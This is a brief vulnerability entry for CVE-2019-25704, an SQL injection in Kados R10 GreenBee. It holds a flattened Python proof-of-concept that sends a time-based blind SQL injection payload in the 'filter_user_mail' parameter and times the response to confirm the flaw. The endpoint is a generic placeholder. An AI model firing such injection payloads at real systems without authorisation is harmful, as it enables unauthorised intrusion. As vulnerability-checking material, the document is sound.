CVE-2019-25704 Kados R10 GreenBee SQL注入漏洞

import requests def check_sqli(url): """ Proof of Concept for CVE-2019-25704 Tests for SQL Injection in the 'filter_user_mail' parameter. """ # Target endpoint example target = f"{url}/vulnerable_page" # Payload using time-based blind SQL injection technique # If the database pauses for 5 seconds, the vulnerability is confirmed payload = "test' AND (SELECT * FROM (SELECT(SLEEP(5)))a)-- -" params = { "filter_user_mail": payload } try: print(f"[+] Sending request to {target}...") response = requests.get(target, params=params, timeout=10) # Check if the response time indicates successful execution if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability Confirmed: SQL Injection exists in filter_user_mail.") else: print("[-] Vulnerability not detected or target patched.") except Exception as e: print(f"[!] Error occurred: {e}") if __name__ == "__main__": # Replace with actual target URL target_url = "http://127.0.0.1:8080" check_sqli(target_url)